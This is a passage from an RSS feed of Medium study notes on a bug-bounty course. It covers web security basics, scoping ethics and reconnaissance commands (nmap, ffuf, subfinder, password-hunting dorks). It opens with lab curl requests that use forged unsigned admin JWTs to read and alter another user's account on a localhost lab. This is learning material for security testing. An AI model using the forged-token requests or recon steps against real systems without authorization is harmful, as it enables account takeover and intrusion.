admin”}</li><li>Account 2: curl -X GET “<a href="http://localhost/labs/api/account.php?token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoiamVzc2FteSIsInJvbGUiOiJhZG1pbiJ9.%22">http://localhost/labs/api/account.php?token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoiamVzc2FteSIsInJvbGUiOiJhZG1pbiJ9.&quot;</a>{“username”:”jessamy”,”role”:”admin”,”bio”:”Security engineer.”}</li><li>Changed jessamy bio using jerramy’s token/credentials: curl -X PUT -H “Content-Type: application/json” -d ‘{“token”:”eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoiamVyZW15Iiwicm9sZSI6InN0YWZmIn0=”,”username”: “jeremy”, “role”: “admin”,”bio”:”jessamy hacked lol!”}’ <a href="http://localhost/labs/api/account.php">http://localhost/labs/api/account.php</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*0DoYjfIUcbIAvEprZcnWsA.png" /></figure><blockquote><strong>8- Testing with Autorize</strong></blockquote><p>Cmd:</p><ul><li>curl -X PUT — proxy <a href="http://localhost:8080/">localhost:8080</a> “Content-Type: application/json” -b “session=JWT_TOKEN” -d ‘{”username”:”jeremy”,”bio”:”new bio”}’ <a href="http://localhost/labs/api/v2/account2.php">http://localhost/labs/api/v2/account2.php</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9cab8d004034" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Practical Bug Bounty — TCM Academy | Module 5]]></title>
            <link>https://medium.com/@awabhassan/practical-bug-bounty-tcm-academy-module-5-508b7fad93f1?source=rss-fdf3acb9c857------2</link>
            <guid isPermaLink="false">https://medium.com/p/508b7fad93f1</guid>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[appsec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Mohammad Awab Hassan Nizami]]></dc:creator>
            <pubDate>Thu, 11 Jul 2024 11:56:54 GMT</pubDate>
            <atom:updated>2024-07-11T11:56:54.251Z</atom:updated>
            <content:encoded><![CDATA[<h3>Practical Bug Bounty — TCM Academy | Module 5</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*-2PQr68Jw3PVUttV6iNo2A.png" /></figure><h3>Module 5 — Reconnaissance and Information Gathering</h3><p>Very important sections because reconnaissance is the key. Specially in public programs where everybody can access them which means there are a lot of people keeping theirs eyes on them. We have to dive-deeper to find assets that are not like available on surface. Because everybody’s is testing that already. <em>“If your reconnaissance and information gathering game is better, you can excel in pentesting and bug bounty”</em>. Remember it’s the methodology, not the tool.</p><blockquote><strong>1- Fingerprinting Web Technologies</strong></blockquote><p>Just to get how-know of what technologies, stacks, libraries they are using.</p><p>Steps:</p><ul><li>Findout what websites are built with → <a href="http://builtwith.com/">builtwith.com</a></li><li>Use wapplyzer extension → <a href="http://wappalyzer.com/">wappalyzer.com</a></li><li>Use curl</li><li>Use <a href="http://securityheaders.com/">securityheaders.com</a></li></ul><p>Cmds:</p><ul><li>curl -I <a href="http://target.com/">target.com</a></li><li>curl -I -L <a href="http://target.com/">target.com</a></li><li>nmap -p443 -A <a href="http://target.com/">target.com</a></li><li>nmap -p443 — script=http-server-header <a href="http://target.com/">target.com</a></li><li>nmap -p80,443 — script=http-server-header <a href="http://target.com/">target.com</a></li></ul><blockquote><strong>2- Directory Enumeration and Brute Forcing</strong></blockquote><p>Focus on methodology, not on tools.</p><p>Steps:</p><ul><li>Directory fuzzing using ffuf, setup switches, recursives, recursives-depths, filters etc.</li><li>Directory fuzzing using Dirb. It goes in recursively by-default.</li><li>Directory fuzzing using dirbuster. It’s old but you can use it.</li></ul><p>Cmds:</p><ul><li>ffuf -w /usr/share/wordlists/dirbuster/select_medium:FUZZ -u <a href="http://target.com/FUZZ">http://target.com/FUZZ</a></li><li>dirb <a href="http://target.com/">http://target.com</a></li><li>dirbuster&amp;</li></ul><p><em>3- Subdomain Enumeration</em></p><p>Enumerate subdomains.</p><p>Steps:</p><ul><li>Try google dorking</li><li>Try <a href="http://crt.sh/">crt.sh</a></li><li>Try subfinder</li><li>Try assetfinder</li><li>Try amass</li><li>Try httprobe</li><li>Try gowitness</li></ul><p>Cmds:</p><ul><li>site:target.com</li><li>site:target.com -www</li><li>site:target.com -www -store</li><li>site:target.com filetype:pdf</li><li>site:target.com filetype:pdf password</li><li>%.target.com → <a href="http://crt.sh/">crt.sh</a></li><li>subfinder -d <a href="http://target.com/">target.com</a></li><li>subfinder -d <a href="http://target.com/">target.com</a> -o targets</li><li>assetfinder <a href="http://target.com/">target.com</a> | grep <a href="http://target.com/">target.com</a> | sort -u &gt; targets.txt</li><li>amass enum -d <a href="http://target.com/">target.com</a> &gt; targets.txt</li><li>cat targets.txt | grep <a href="http://target.com/">target.com</a> | sort -u | httprobe -prefer-https | grep https &gt; targets_alive.txt</li><li>gowitness file -f <a href="http://targets.com/">targets.com</a> -P newfolder — no-http</li></ul><blockquote><strong>4- The Burpsuite</strong></blockquote><p>Its a web proxy tool, basically we can manage our traffic. Go to a web applicaiton and check what’s going on and how’s going on. This is called business logic.</p><ul><li>Repeater: to send and modify requests.</li><li>Intruder: for bruteforcing.</li><li>and much more.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=508b7fad93f1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Practical Bug Bounty — TCM Academy | Module 2,3,4]]></title>
            <link>https://medium.com/@awabhassan/practical-bug-bounty-tcm-academy-module-2-3-4-2c5a4376bf22?source=rss-fdf3acb9c857------2</link>
            <guid isPermaLink="false">https://medium.com/p/2c5a4376bf22</guid>
            <category><![CDATA[informatiosecurity]]></category>
            <dc:creator><![CDATA[Mohammad Awab Hassan Nizami]]></dc:creator>
            <pubDate>Mon, 08 Jul 2024 09:38:38 GMT</pubDate>
            <atom:updated>2024-07-08T09:38:38.590Z</atom:updated>
            <content:encoded><![CDATA[<h3>Practical Bug Bounty — TCM Academy | Module 2,3,4</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*TLa0960B3Kfxq2k-sbbaCA.png" /></figure><h3>Module 2 — Before We Attack (Preparation)</h3><blockquote><strong>1- Understanding Scope, Ethics, Code of Conduct, etc</strong></blockquote><p><strong>Scope:</strong></p><ul><li>Scope: it defines the range of assets that the company is inviting security researchers / hunters to test.</li><li>Out of Scope: it defines the range of assets that are not included in testing permissions.</li></ul><p><strong>Why is scope important?</strong></p><ul><li>legal and ethical boundaries.</li><li>Resource allocation.</li><li>Practical Reasons.</li><li>Fairness.</li></ul><p><strong>Defining scope</strong></p><ul><li>*.target.com → all subdomains before .target.com can be tested.</li><li><a href="http://specificdomain.target.com/">specificdomain.target.com</a> → sometimes a company will specially exclude a subdomain and won’t allow us to test it.</li></ul><p><strong>Can you submit out-of-scope vulnerabilites?</strong></p><ul><li>Sometimes hackers gets their hands-on a bug which is out-of-scope.</li><li>Mostly, the triage team will reject it.</li><li>Or they might now, what’s the business impact?</li><li>No bounty for out-of-scope assets. Don’t waste your time on it.</li></ul><p><strong>Duplication bugs</strong></p><ul><li>It occurs when multiple researchers/hunters reports the same bug.</li><li>Organizations award the first researcher who reported first.</li><li>Knowingly reporting a duplicate is unethical.</li></ul><blockquote><strong>2- Common scoping mistakes</strong></blockquote><p>— Must read these three slides —</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*SaDwSnrDon4VoGJ5kk-lXg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*wRjxuarEayyCq55Ikh70oA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/575/1*NTei7ner7V4w-fn-U9UZGg.png" /></figure><p>Module 3 — Building LAB etc. (excluding it)</p><h3><strong>Module 4 — Web Applicaition Technologies</strong></h3><blockquote><strong>1- Web Technologies</strong></blockquote><p>HTML is a markup language which structures text, images, videos etc. and it contains tags which defines structure for example for text there are tags like H1,2,3,4,5 for images there’s a tag called &lt;img&gt; and so much more. HTML is more like a skeleton of a web applicaiton. CSS is used to design web applicaiton. Javascript is used to make web applications interactive, if you want to excel in bug bounty or pentesting you have to learn javascript basics.</p><p><strong>Server-side vs Client-side</strong></p><ul><li>Server-side: we are reffering to operations that are performed on web server. Where the applicaiton is hosted.</li><li>Client-side: we are referring to operations that are perform on browser and in the user’s device. It presents data to users and handles other actions.</li></ul><blockquote><strong>2- HTTP and DNS</strong></blockquote><p>HTTP is a request response protocol, Client sends requests and server sends a response back. When a request is made we have to use a HTTP method for example GET, POST, PUT, DELETE. Reponse codes are not always 100% accurate. Developers can set-up them accordingly as well. In general the code 1xx → Informational, 2xx → Success, 3xx → Redirect, 4xx → Client Erros, 5xx → Server Errors.</p><p>DNS Domain Name System is a protocol, which translates human readable domain names into IP addresses, for example if you want to access facebook from your browser, you will not use Facebook’s IP address to send a request rather you would use something like <a href="http://facebook.com/">facebook.com</a>. What happens is that DNS resolves this <a href="http://facebook.com/">facebook.com</a> into → FACEBOOK_IP and then you’re able to access facebook from your browser.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2c5a4376bf22" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Practical Bug Bounty — TCM Academy | Module 1]]></title>
            <link>https://medium.com/@awabhassan/practical-bug-bounty-tcm-academy-module-1-17dadeda56a0?source=rss-fdf3acb9c857------2</link>
            <guid isPermaLink="false">https://medium.com/p/17dadeda56a0</guid>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[tcm-security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Mohammad Awab Hassan Nizami]]></dc:creator>
            <pubDate>Sun, 07 Jul 2024 07:14:44 GMT</pubDate>
            <atom:updated>2024-07-07T07:14:44.308Z</atom:updated>
            <content:encoded><![CDATA[<h3>Practical Bug Bounty — TCM Academy | Module 1</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*ZO4LQw2dRV-9GNE5UhoDbg.png" /></figure><h3>Module 1 — Web Application Security</h3><blockquote><strong>1- Importance of Web Application Security</strong></blockquote><p>Securing web applications and making sure they are safe for variety of reasons. You access Facebook, Amazon that&#39;s a web application and there’s always a security aspect. We always keep hearing about data breaches. The goal of web application security is to prevent this and to make sure our data is protected. We have to keep our customers trust.</p><ul><li>Protecting the data of users.</li><li>Maintaining the customers trust or else they will go for alternatives.</li><li>Legal and regulatory compliance.</li><li>Protecting business from crashing.</li><li>Protecting brand’s repuation, it takes alot of time to re-build trust.</li><li>If any of these thing happens, we would have to face financial loss.</li><li>With your data, hackers can steal your identity.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/466/1*UGNZF1N3xJlfZRktt1OamQ.png" /></figure><blockquote><strong>2- Web Application Security Best Practices</strong></blockquote><ul><li>Regularly patching vulnerabilities and installing updates.</li><li>Giving least privilege to users and giving un-necessary access.</li><li>Secure coding input validation and sanitization, developers ignore this but this is crucial.</li><li>Implementing 2FA is important because hackers would have to then bypass it by social engineering etc. and hackers are lazy so they are mostly looking for easy wins.</li><li>Logging and monitoring to keep in-check of what’s going on.</li><li>Training users is important because now hackers can write comprehensive emails using AI tools like chatGPT and they can even clone your voice now.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/393/1*1s-DJtUSb2mqhYoBZcXqoA.png" /></figure><blockquote><strong>3) Web Application Security Standards</strong></blockquote><ul><li><a href="https://owasp.org/Top10/">OWASP Top 10</a> :- It keeps changing every year.</li><li><a href="https://cwe.mitre.org/index.html">Common Weakness Enumeration</a> :- You can check for different issues. Errors and Problems.</li><li><a href="https://www.sans.org/top25-software-errors/">SANS TOP 25</a> :- You can learn about different vulnerabilities and how they’re mapped.</li></ul><blockquote><strong>4- Bug Bounty Hunting vs Penetration Testing</strong></blockquote><ul><li>Impact is everything in Bug Bounty.</li><li>In bug hunting might be looking for a specific bug, but in pentesting our goal is whole application.</li><li>Compliance.</li></ul><blockquote><strong>A- Non Impact Findings</strong></blockquote><ul><li>Allowing password less than 8 digits.</li><li>We can try login attempts un-limited.</li><li>We guess username, password and our username comes out to be correct and password wrong because web application is showing us error stating that your password is wrong, which means that our username was right? right?</li><li>Using outdated software.</li><li>Cookies (Flags, Expiration)</li><li>CIPHERS and CERTIFICATES.</li><li>In general Bug hunting: impact, impact, impact and Pentesting: we are looking at everything all vulnerabilities no matter how small they are.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/488/1*3iKpVg-U94A-o3H0iEzIbg.png" /></figure><blockquote><strong><em>5- </em>Phases of a Web Application Penetration Test</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/429/1*M-tuwJ0Soq1iFnYd2RkdWQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=17dadeda56a0" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>